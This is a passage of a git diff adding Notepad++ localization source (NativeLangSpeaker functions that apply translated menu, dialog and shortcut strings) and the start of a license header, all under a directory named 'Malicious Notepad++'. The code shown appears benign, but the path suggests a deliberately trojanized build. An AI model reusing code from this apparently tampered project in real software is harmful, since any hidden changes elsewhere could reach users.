mainMenu->FirstChild("Main"); + if (!mainMenu) return TEXT(""); + TiXmlNodeA *entriesRoot = mainMenu->FirstChild("Entries"); + if (!entriesRoot) return TEXT(""); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + + for (TiXmlNodeA *childNode = entriesRoot->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + + const char *idName = element->Attribute("idName"); + if (idName) + { + const char *name = element->Attribute("name"); + if (!strcmp(idName, entryName)) + { + return wmc->char2wchar(name, _nativeLangEncoding); + } + } + } + return TEXT(""); +} + +generic_string NativeLangSpeaker::getNativeLangMenuString(int itemID) const +{ + if (!_nativeLangA) + return TEXT(""); + + TiXmlNodeA *node = _nativeLangA->FirstChild("Menu"); + if (!node) return TEXT(""); + + node = node->FirstChild("Main"); + if (!node) return TEXT(""); + + node = node->FirstChild("Commands"); + if (!node) return TEXT(""); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + + for (TiXmlNodeA *childNode = node->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int id; + if (element->Attribute("id", &id) && (id == itemID)) + { + const char *name = element->Attribute("name"); + if (name) + { + return wmc->char2wchar(name, _nativeLangEncoding); + } + } + } + return TEXT(""); +} + +generic_string NativeLangSpeaker::getLocalizedStrFromID(const char *strID) const +{ + if (not _nativeLangA) + return TEXT(""); + + if (not strID) + return TEXT(""); + + TiXmlNodeA *node = _nativeLangA->FirstChild("MiscStrings"); + if (not node) return TEXT(""); + + node = node->FirstChild(strID); + if (not node) return TEXT(""); + + TiXmlElementA *element = node->ToElement(); + + const char *value = element->Attribute("value"); + if (not value) return TEXT(""); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + return wmc->char2wchar(value, _nativeLangEncoding); +} + + + +MenuPosition & getMenuPosition(const char *id) +{ + + int nbSubMenuPos = sizeof(menuPos)/sizeof(MenuPosition); + + for(int i = 0; i < nbSubMenuPos; ++i) + { + if (strcmp(menuPos[i]._id, id) == 0) + return menuPos[i]; + } + return menuPos[nbSubMenuPos-1]; +} + +void NativeLangSpeaker::changeMenuLang(HMENU menuHandle, generic_string & pluginsTrans, generic_string & windowTrans) +{ + if (nullptr == _nativeLangA) + return; + + TiXmlNodeA *mainMenu = _nativeLangA->FirstChild("Menu"); + if (nullptr == mainMenu) + return; + + mainMenu = mainMenu->FirstChild("Main"); + if (nullptr == mainMenu) + return; + + TiXmlNodeA *entriesRoot = mainMenu->FirstChild("Entries"); + if (nullptr == entriesRoot) + return; + + const char* idName = nullptr; + WcharMbcsConvertor* wmc = WcharMbcsConvertor::getInstance(); + + for (TiXmlNodeA *childNode = entriesRoot->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + const char *menuIdStr = element->Attribute("menuId"); + if (menuIdStr) + { + MenuPosition & menuPos = getMenuPosition(menuIdStr); + if (menuPos._x != -1) + { + const char *name = element->Attribute("name"); + const wchar_t *nameW = wmc->char2wchar(name, _nativeLangEncoding); + ::ModifyMenu(menuHandle, menuPos._x, MF_BYPOSITION, 0, nameW); + } + } + else + { + idName = element->Attribute("idName"); + if (idName) + { + const char *name = element->Attribute("name"); + if (!strcmp(idName, "Plugins")) + { + const wchar_t *nameW = wmc->char2wchar(name, _nativeLangEncoding); + pluginsTrans = nameW; + } + else if (!strcmp(idName, "Window")) + { + const wchar_t *nameW = wmc->char2wchar(name, _nativeLangEncoding); + windowTrans = nameW; + } + } + } + } + + TiXmlNodeA *menuCommandsRoot = mainMenu->FirstChild("Commands"); + for (TiXmlNodeA *childNode = menuCommandsRoot->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int id; + element->Attribute("id", &id); + const char *name = element->Attribute("name"); + + const wchar_t *nameW = wmc->char2wchar(name, _nativeLangEncoding); + ::ModifyMenu(menuHandle, id, MF_BYCOMMAND, id, nameW); + } + + TiXmlNodeA *subEntriesRoot = mainMenu->FirstChild("SubEntries"); + + for (TiXmlNodeA *childNode = subEntriesRoot->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA* element = childNode->ToElement(); + //const char *xStr = element->Attribute("posX", &x); + //const char *yStr = element->Attribute("posY", &y); + const char* subMenuIdStr = element->Attribute("subMenuId"); + const char* name = element->Attribute("name"); + + if (nullptr == subMenuIdStr or nullptr == name) + continue; + + MenuPosition& menuPos = getMenuPosition(subMenuIdStr); + int x = menuPos._x; + int y = menuPos._y; + int z = menuPos._z; + + HMENU hSubMenu = ::GetSubMenu(menuHandle, x); + if (!hSubMenu) + continue; + + HMENU hSubMenu2 = ::GetSubMenu(hSubMenu, y); + if (!hSubMenu2) + continue; + + HMENU hMenu = hSubMenu; + int pos = y; + + //const char *zStr = element->Attribute("posZ", &z); + if (z != -1) + { + HMENU hSubMenu3 = ::GetSubMenu(hSubMenu2, z); + if (!hSubMenu3) + continue; + hMenu = hSubMenu2; + pos = z; + } + + const wchar_t *nameW = wmc->char2wchar(name, _nativeLangEncoding); + ::ModifyMenu(hMenu, pos, MF_BYPOSITION, 0, nameW); + } +} + + +static const int tabContextMenuItemPos[] = +{ +// +-------------- The order in tab menu (NppNotification.cpp : if (!_tabPopupMenu.isCreated()) +// | +// | +------ Number in english.xml (.xml) : +// | | + 0, // 0 : Close + 1, // 1 : Close ALL BUT This + 4, // 2 : Save + 5, // 3 : Save As + 9, // 4 : Print + 23, // 5 : Move to Other View + 24, // 6 : Clone to Other View + 19, // 7 : Full File Path to Clipboard + 20, // 8 : Filename to Clipboard + 21, // 9 : Current Dir. Path to Clipboard + 6, // 10: Rename + 7, // 11: Move to Recycle Bin + 16, // 12: Read-Only + 17, // 13: Clear Read-Only Flag + 25, // 14: Move to New Instance + 26, // 15: Open to New Instance + 8, // 16: Reload + 2, // 17: Close ALL to the Left + 3, // 18: Close ALL to the Right + 11, // 19: Open Containing Folder in Explorer + 12, // 20: Open Containing Folder in cmd + 14, // 21: Open in Default Viewer + -1 //-------End +}; + + +void NativeLangSpeaker::changeLangTabContextMenu(HMENU hCM) +{ + if (nullptr != _nativeLangA) + { + TiXmlNodeA *tabBarMenu = _nativeLangA->FirstChild("Menu"); + if (tabBarMenu) + { + tabBarMenu = tabBarMenu->FirstChild("TabBar"); + if (tabBarMenu) + { + WcharMbcsConvertor* wmc = WcharMbcsConvertor::getInstance(); + int nbCMItems = sizeof(tabContextMenuItemPos)/sizeof(int); + + for (TiXmlNodeA *childNode = tabBarMenu->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int index; + const char *indexStr = element->Attribute("CMID", &index); + if (!indexStr || (index < 0 || index >= nbCMItems-1)) + continue; + + int pos = tabContextMenuItemPos[index]; + const char *pName = element->Attribute("name"); + if (pName) + { + const wchar_t *pNameW = wmc->char2wchar(pName, _nativeLangEncoding); + int cmdID = ::GetMenuItemID(hCM, pos); + ::ModifyMenu(hCM, pos, MF_BYPOSITION, cmdID, pNameW); + } + } + } + } + } +} + +void NativeLangSpeaker::changeLangTabDrapContextMenu(HMENU hCM) +{ + const int POS_GO2VIEW = 0; + const int POS_CLONE2VIEW = 1; + + if (_nativeLangA) + { + const char *goToViewA = nullptr; + const char *cloneToViewA = nullptr; + + TiXmlNodeA *tabBarMenu = _nativeLangA->FirstChild("Menu"); + if (tabBarMenu) + tabBarMenu = tabBarMenu->FirstChild("TabBar"); + + if (tabBarMenu) + { + for (TiXmlNodeA *childNode = tabBarMenu->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int ordre; + element->Attribute("CMID", &ordre); + if (ordre == 5) + goToViewA = element->Attribute("name"); + else if (ordre == 6) + cloneToViewA = element->Attribute("name"); + } + } + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + if (goToViewA && goToViewA[0]) + { + const wchar_t *goToViewG = wmc->char2wchar(goToViewA, _nativeLangEncoding); + int cmdID = ::GetMenuItemID(hCM, POS_GO2VIEW); + ::ModifyMenu(hCM, POS_GO2VIEW, MF_BYPOSITION|MF_STRING, cmdID, goToViewG); + } + if (cloneToViewA && cloneToViewA[0]) + { + const wchar_t *cloneToViewG = wmc->char2wchar(cloneToViewA, _nativeLangEncoding); + int cmdID = ::GetMenuItemID(hCM, POS_CLONE2VIEW); + ::ModifyMenu(hCM, POS_CLONE2VIEW, MF_BYPOSITION|MF_STRING, cmdID, cloneToViewG); + } + } +} + + +void NativeLangSpeaker::changeConfigLang(HWND hDlg) +{ + if (nullptr == _nativeLangA) + return; + + TiXmlNodeA *styleConfDlgNode = _nativeLangA->FirstChild("Dialog"); + if (!styleConfDlgNode) + return; + + styleConfDlgNode = styleConfDlgNode->FirstChild("StyleConfig"); + if (!styleConfDlgNode) return; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + + // Set Title + const char *titre = (styleConfDlgNode->ToElement())->Attribute("title"); + + if ((titre && titre[0]) && hDlg) + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + ::SetWindowText(hDlg, nameW); + } + for (TiXmlNodeA *childNode = styleConfDlgNode->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int id; + const char *sentinel = element->Attribute("id", &id); + const char *name = element->Attribute("name"); + if (sentinel && (name && name[0])) + { + HWND hItem = ::GetDlgItem(hDlg, id); + if (hItem) + { + const wchar_t *nameW = wmc->char2wchar(name, _nativeLangEncoding); + ::SetWindowText(hItem, nameW); + } + } + } + styleConfDlgNode = styleConfDlgNode->FirstChild("SubDialog"); + + for (TiXmlNodeA *childNode = styleConfDlgNode->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int id; + const char *sentinel = element->Attribute("id", &id); + const char *name = element->Attribute("name"); + if (sentinel && (name && name[0])) + { + HWND hItem = ::GetDlgItem(hDlg, id); + if (hItem) + { + const wchar_t *nameW = wmc->char2wchar(name, _nativeLangEncoding); + ::SetWindowText(hItem, nameW); + } + } + } +} + + +void NativeLangSpeaker::changeStyleCtrlsLang(HWND hDlg, int *idArray, const char **translatedText) +{ + const int iColorStyle = 0; + const int iUnderline = 8; + + HWND hItem; + for (int i = iColorStyle ; i < (iUnderline + 1) ; ++i) + { + if (translatedText[i] && translatedText[i][0]) + { + hItem = ::GetDlgItem(hDlg, idArray[i]); + if (hItem) + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const wchar_t *nameW = wmc->char2wchar(translatedText[i], _nativeLangEncoding); + ::SetWindowText(hItem, nameW); + } + } + } +} + +void NativeLangSpeaker::changeUserDefineLangPopupDlg(HWND hDlg) +{ + if (!_nativeLangA) return; + + TiXmlNodeA *userDefineDlgNode = _nativeLangA->FirstChild("Dialog"); + if (!userDefineDlgNode) return; + + userDefineDlgNode = userDefineDlgNode->FirstChild("UserDefine"); + if (!userDefineDlgNode) return; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + + TiXmlNodeA *stylerDialogNode = userDefineDlgNode->FirstChild("StylerDialog"); + if (!stylerDialogNode) return; + + const char *titre = (stylerDialogNode->ToElement())->Attribute("title"); + if (titre &&titre[0]) + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + ::SetWindowText(hDlg, nameW); + } + for (TiXmlNodeA *childNode = stylerDialogNode->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int id; + const char *sentinel = element->Attribute("id", &id); + const char *name = element->Attribute("name"); + if (sentinel && (name && name[0])) + { + HWND hItem = ::GetDlgItem(hDlg, id); + if (hItem) + { + const wchar_t *nameW = wmc->char2wchar(name, _nativeLangEncoding); + ::SetWindowText(hItem, nameW); + + } + } + } +} + +void NativeLangSpeaker::changeUserDefineLang(UserDefineDialog *userDefineDlg) +{ + if (!_nativeLangA) return; + + TiXmlNodeA *userDefineDlgNode = _nativeLangA->FirstChild("Dialog"); + if (!userDefineDlgNode) return; + + userDefineDlgNode = userDefineDlgNode->FirstChild("UserDefine"); + if (!userDefineDlgNode) return; + + HWND hDlg = userDefineDlg->getHSelf(); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + + // Set Title + const char *titre = (userDefineDlgNode->ToElement())->Attribute("title"); + if (titre && titre[0]) + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + ::SetWindowText(hDlg, nameW); + } + // for each control + const int nbControl = 9; + const char *translatedText[nbControl]; + for (int i = 0 ; i < nbControl ; ++i) + translatedText[i] = NULL; + + for (TiXmlNodeA *childNode = userDefineDlgNode->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int id; + const char *sentinel = element->Attribute("id", &id); + const char *name = element->Attribute("name"); + + if (sentinel && (name && name[0])) + { + if (id > 30) + { + HWND hItem = ::GetDlgItem(hDlg, id); + if (hItem) + { + const wchar_t *nameW = wmc->char2wchar(name, _nativeLangEncoding); + ::SetWindowText(hItem, nameW); + } + } + else + { + switch(id) + { + case 0: case 1: case 2: case 3: case 4: + case 5: case 6: case 7: case 8: + translatedText[id] = name; break; + } + } + } + } + const int nbDlg = 4; + HWND hDlgArrary[nbDlg]; + hDlgArrary[0] = userDefineDlg->getFolderHandle(); + hDlgArrary[1] = userDefineDlg->getKeywordsHandle(); + hDlgArrary[2] = userDefineDlg->getCommentHandle(); + hDlgArrary[3] = userDefineDlg->getSymbolHandle(); + + const char nodeNameArray[nbDlg][16] = {"Folder", "Keywords", "Comment", "Operator"}; + + for (int i = 0 ; i < nbDlg ; ++i) + { + TiXmlNodeA *node = userDefineDlgNode->FirstChild(nodeNameArray[i]); + + if (node) + { + // Set Title + titre = (node->ToElement())->Attribute("title"); + if (titre &&titre[0]) + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + userDefineDlg->setTabName(i, nameW); + } + for (TiXmlNodeA *childNode = node->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int id; + const char *sentinel = element->Attribute("id", &id); + const char *name = element->Attribute("name"); + if (sentinel && (name && name[0])) + { + HWND hItem = ::GetDlgItem(hDlgArrary[i], id); + if (hItem) + { + const wchar_t *nameW = wmc->char2wchar(name, _nativeLangEncoding); + ::SetWindowText(hItem, nameW); + } + } + } + } + } +} + +void NativeLangSpeaker::changeFindReplaceDlgLang(FindReplaceDlg & findReplaceDlg) +{ + if (_nativeLangA) + { + TiXmlNodeA *dlgNode = _nativeLangA->FirstChild("Dialog"); + if (dlgNode) + { + NppParameters *pNppParam = NppParameters::getInstance(); + dlgNode = searchDlgNode(dlgNode, "Find"); + if (dlgNode) + { + const char *titre1 = (dlgNode->ToElement())->Attribute("titleFind"); + const char *titre2 = (dlgNode->ToElement())->Attribute("titleReplace"); + const char *titre3 = (dlgNode->ToElement())->Attribute("titleFindInFiles"); + const char *titre4 = (dlgNode->ToElement())->Attribute("titleMark"); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + + if (titre1 && titre1[0]) + { + basic_string nameW = wmc->char2wchar(titre1, _nativeLangEncoding); + pNppParam->getFindDlgTabTitiles()._find = nameW; + findReplaceDlg.changeTabName(FIND_DLG, pNppParam->getFindDlgTabTitiles()._find.c_str()); + } + if (titre2 && titre2[0]) + { + basic_string nameW = wmc->char2wchar(titre2, _nativeLangEncoding); + pNppParam->getFindDlgTabTitiles()._replace = nameW; + findReplaceDlg.changeTabName(REPLACE_DLG, pNppParam->getFindDlgTabTitiles()._replace.c_str()); + } + if (titre3 && titre3[0]) + { + basic_string nameW = wmc->char2wchar(titre3, _nativeLangEncoding); + pNppParam->getFindDlgTabTitiles()._findInFiles = nameW; + findReplaceDlg.changeTabName(FINDINFILES_DLG, pNppParam->getFindDlgTabTitiles()._findInFiles.c_str()); + } + if (titre4 && titre4[0]) + { + basic_string nameW = wmc->char2wchar(titre4, _nativeLangEncoding); + pNppParam->getFindDlgTabTitiles()._mark = nameW; + findReplaceDlg.changeTabName(MARK_DLG, pNppParam->getFindDlgTabTitiles()._mark.c_str()); + } + } + } + } + changeDlgLang(findReplaceDlg.getHSelf(), "Find"); +} + +void NativeLangSpeaker::changePrefereceDlgLang(PreferenceDlg & preference) +{ + auto currentSel = preference.getListSelectedIndex(); + changeDlgLang(preference.getHSelf(), "Preference"); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + char titre[128]; + changeDlgLang(preference._barsDlg.getHSelf(), "Global", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("Global"), nameW); + } + changeDlgLang(preference._marginsDlg.getHSelf(), "Scintillas", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("Scintillas"), nameW); + } + + changeDlgLang(preference._defaultNewDocDlg.getHSelf(), "NewDoc", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("NewDoc"), nameW); + } + + changeDlgLang(preference._defaultDirectoryDlg.getHSelf(), "DefaultDir", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("DefaultDir"), nameW); + } + + changeDlgLang(preference._recentFilesHistoryDlg.getHSelf(), "RecentFilesHistory", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("RecentFilesHistory"), nameW); + } + + changeDlgLang(preference._fileAssocDlg.getHSelf(), "FileAssoc", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("FileAssoc"), nameW); + } + + changeDlgLang(preference._langMenuDlg.getHSelf(), "Language", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("Language"), nameW); + } + + changeDlgLang(preference._highlighting.getHSelf(), "Highlighting", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("Highlighting"), nameW); + } + + changeDlgLang(preference._printSettingsDlg.getHSelf(), "Print", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("Print"), nameW); + } + changeDlgLang(preference._settingsDlg.getHSelf(), "MISC", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("MISC"), nameW); + } + changeDlgLang(preference._backupDlg.getHSelf(), "Backup", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("Backup"), nameW); + } + + changeDlgLang(preference._autoCompletionDlg.getHSelf(), "AutoCompletion", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("AutoCompletion"), nameW); + } + + changeDlgLang(preference._multiInstDlg.getHSelf(), "MultiInstance", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("MultiInstance"), nameW); + } + + changeDlgLang(preference._delimiterSettingsDlg.getHSelf(), "Delimiter", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("Delimiter"), nameW); + } + + changeDlgLang(preference._settingsOnCloudDlg.getHSelf(), "Cloud", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("Cloud"), nameW); + } + + changeDlgLang(preference._searchEngineDlg.getHSelf(), "SearchEngine", titre); + if (titre[0] != '\0') + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + preference.renameDialogTitle(TEXT("SearchEngine"), nameW); + } + + preference.setListSelection(currentSel); +} + +void NativeLangSpeaker::changeShortcutLang() +{ + if (!_nativeLangA) return; + + NppParameters * pNppParam = NppParameters::getInstance(); + vector & mainshortcuts = pNppParam->getUserShortcuts(); + vector & scinshortcuts = pNppParam->getScintillaKeyList(); + + TiXmlNodeA *shortcuts = _nativeLangA->FirstChild("Shortcuts"); + if (!shortcuts) return; + + shortcuts = shortcuts->FirstChild("Main"); + if (!shortcuts) return; + + TiXmlNodeA *entriesRoot = shortcuts->FirstChild("Entries"); + if (!entriesRoot) return; + + for (TiXmlNodeA *childNode = entriesRoot->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int index, id; + if (element->Attribute("index", &index) && element->Attribute("id", &id)) + { + if (index > -1 && static_cast(index) < mainshortcuts.size()) //valid index only + { + const char *name = element->Attribute("name"); + CommandShortcut & csc = mainshortcuts[index]; + if (csc.getID() == (unsigned long)id) + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const wchar_t * nameW = wmc->char2wchar(name, _nativeLangEncoding); + csc.setName(nameW); + } + } + } + } + + //Scintilla + shortcuts = _nativeLangA->FirstChild("Shortcuts"); + if (!shortcuts) return; + + shortcuts = shortcuts->FirstChild("Scintilla"); + if (!shortcuts) return; + + entriesRoot = shortcuts->FirstChild("Entries"); + if (!entriesRoot) return; + + for (TiXmlNodeA *childNode = entriesRoot->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int index; + if (element->Attribute("index", &index)) + { + if (index > -1 && static_cast(index) < scinshortcuts.size()) //valid index only + { + const char *name = element->Attribute("name"); + ScintillaKeyMap & skm = scinshortcuts[index]; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const wchar_t * nameW = wmc->char2wchar(name, _nativeLangEncoding); + skm.setName(nameW); + } + } + } + +} + +void NativeLangSpeaker::changeShortcutmapperLang(ShortcutMapper * sm) +{ + if (!_nativeLangA) return; + + TiXmlNodeA *shortcuts = _nativeLangA->FirstChild("Dialog"); + if (!shortcuts) return; + + shortcuts = shortcuts->FirstChild("ShortcutMapper"); + if (!shortcuts) return; + + for (TiXmlNodeA *childNode = shortcuts->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int index; + if (element->Attribute("index", &index)) + { + if (index > -1 && index < 5) //valid index only + { + const char *name = element->Attribute("name"); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const wchar_t * nameW = wmc->char2wchar(name, _nativeLangEncoding); + sm->translateTab(index, nameW); + } + } + } +} + + +TiXmlNodeA * NativeLangSpeaker::searchDlgNode(TiXmlNodeA *node, const char *dlgTagName) +{ + TiXmlNodeA *dlgNode = node->FirstChild(dlgTagName); + if (dlgNode) return dlgNode; + for (TiXmlNodeA *childNode = node->FirstChildElement(); + childNode ; + childNode = childNode->NextSibling() ) + { + dlgNode = searchDlgNode(childNode, dlgTagName); + if (dlgNode) return dlgNode; + } + return NULL; +} + +bool NativeLangSpeaker::changeDlgLang(HWND hDlg, const char *dlgTagName, char *title) +{ + if (title) + title[0] = '\0'; + + if (!_nativeLangA) return false; + + TiXmlNodeA *dlgNode = _nativeLangA->FirstChild("Dialog"); + if (!dlgNode) return false; + + dlgNode = searchDlgNode(dlgNode, dlgTagName); + if (!dlgNode) return false; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + + // Set Title + const char *titre = (dlgNode->ToElement())->Attribute("title"); + if ((titre && titre[0]) && hDlg) + { + const wchar_t *nameW = wmc->char2wchar(titre, _nativeLangEncoding); + ::SetWindowText(hDlg, nameW); + + if (title) + strcpy(title, titre); + } + + // Set the text of child control + for (TiXmlNodeA *childNode = dlgNode->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int id; + const char *sentinel = element->Attribute("id", &id); + const char *name = element->Attribute("name"); + if (sentinel && (name && name[0])) + { + HWND hItem = ::GetDlgItem(hDlg, id); + if (hItem) + { + const wchar_t *nameW = wmc->char2wchar(name, _nativeLangEncoding); + ::SetWindowText(hItem, nameW); + } + } + } + return true; +} + +bool NativeLangSpeaker::getMsgBoxLang(const char *msgBoxTagName, generic_string & title, generic_string & message) +{ + title = TEXT(""); + message = TEXT(""); + + if (!_nativeLangA) return false; + + TiXmlNodeA *msgBoxNode = _nativeLangA->FirstChild("MessageBox"); + if (!msgBoxNode) return false; + + msgBoxNode = searchDlgNode(msgBoxNode, msgBoxTagName); + if (!msgBoxNode) return false; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + + // Set Title + const char *titre = (msgBoxNode->ToElement())->Attribute("title"); + const char *msg = (msgBoxNode->ToElement())->Attribute("message"); + if ((titre && titre[0]) && (msg && msg[0])) + { + title = wmc->char2wchar(titre, _nativeLangEncoding); + message = wmc->char2wchar(msg, _nativeLangEncoding); + return true; + } + return false; +} + +generic_string NativeLangSpeaker::getProjectPanelLangMenuStr(const char * nodeName, int cmdID, const TCHAR *defaultStr) const +{ + if (!_nativeLangA) return defaultStr; + + TiXmlNodeA *targetNode = _nativeLangA->FirstChild("ProjectManager"); + if (!targetNode) return defaultStr; + + targetNode = targetNode->FirstChild("Menus"); + if (!targetNode) return defaultStr; + + targetNode = targetNode->FirstChild(nodeName); + if (!targetNode) return defaultStr; + + const char *name = NULL; + for (TiXmlNodeA *childNode = targetNode->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int id; + const char *idStr = element->Attribute("id", &id); + + if (idStr && id == cmdID) + { + name = element->Attribute("name"); + break; + } + } + + if (name && name[0]) + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + return wmc->char2wchar(name, _nativeLangEncoding); + } + return defaultStr; +} +/* +generic_string NativeLangSpeaker::getFileBrowserLangMenuStr(const char * nodeName, int cmdID, const TCHAR *defaultStr) const +{ + if (!_nativeLangA) return defaultStr; + + TiXmlNodeA *targetNode = _nativeLangA->FirstChild("FileBrowser"); + if (!targetNode) return defaultStr; + + targetNode = targetNode->FirstChild("Menus"); + if (!targetNode) return defaultStr; + + targetNode = targetNode->FirstChild(nodeName); + if (!targetNode) return defaultStr; + + const char *name = NULL; + for (TiXmlNodeA *childNode = targetNode->FirstChildElement("Item"); + childNode; + childNode = childNode->NextSibling("Item")) + { + TiXmlElementA *element = childNode->ToElement(); + int id; + const char *idStr = element->Attribute("id", &id); + + if (idStr && id == cmdID) + { + name = element->Attribute("name"); + break; + } + } + + if (name && name[0]) + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + return wmc->char2wchar(name, _nativeLangEncoding); + } + return defaultStr; +} +*/ + +generic_string NativeLangSpeaker::getAttrNameStr(const TCHAR *defaultStr, const char *nodeL1Name, const char *nodeL2Name) const +{ + if (!_nativeLangA) return defaultStr; + + TiXmlNodeA *targetNode = _nativeLangA->FirstChild(nodeL1Name); + if (!targetNode) return defaultStr; + if (nodeL2Name) + targetNode = targetNode->FirstChild(nodeL2Name); + + if (!targetNode) return defaultStr; + + const char *name = (targetNode->ToElement())->Attribute("name"); + if (name && name[0]) + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + return wmc->char2wchar(name, _nativeLangEncoding); + } + return defaultStr; +} + +int NativeLangSpeaker::messageBox(const char *msgBoxTagName, HWND hWnd, const TCHAR *defaultMessage, const TCHAR *defaultTitle, int msgBoxType, int intInfo, const TCHAR *strInfo) +{ + generic_string msg, title; + if (!getMsgBoxLang(msgBoxTagName, title, msg)) + { + title = defaultTitle; + msg = defaultMessage; + } + title = stringReplace(title, TEXT("$INT_REPLACE$"), std::to_wstring(intInfo)); + msg = stringReplace(msg, TEXT("$INT_REPLACE$"), std::to_wstring(intInfo)); + if (strInfo) + { + title = stringReplace(title, TEXT("$STR_REPLACE$"), strInfo); + msg = stringReplace(msg, TEXT("$STR_REPLACE$"), strInfo); + } + return ::MessageBox(hWnd, msg.c_str(), title.c_str(), msgBoxType); +} \ No newline at end of file diff --git a/Malicious Notepad++/src/localization.h b/Malicious Notepad++/src/localization.h new file mode 100644 index 0000000..8f575d4 --- /dev/null +++ b/Malicious Notepad++/src/localization.h @@ -0,0 +1,101 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a 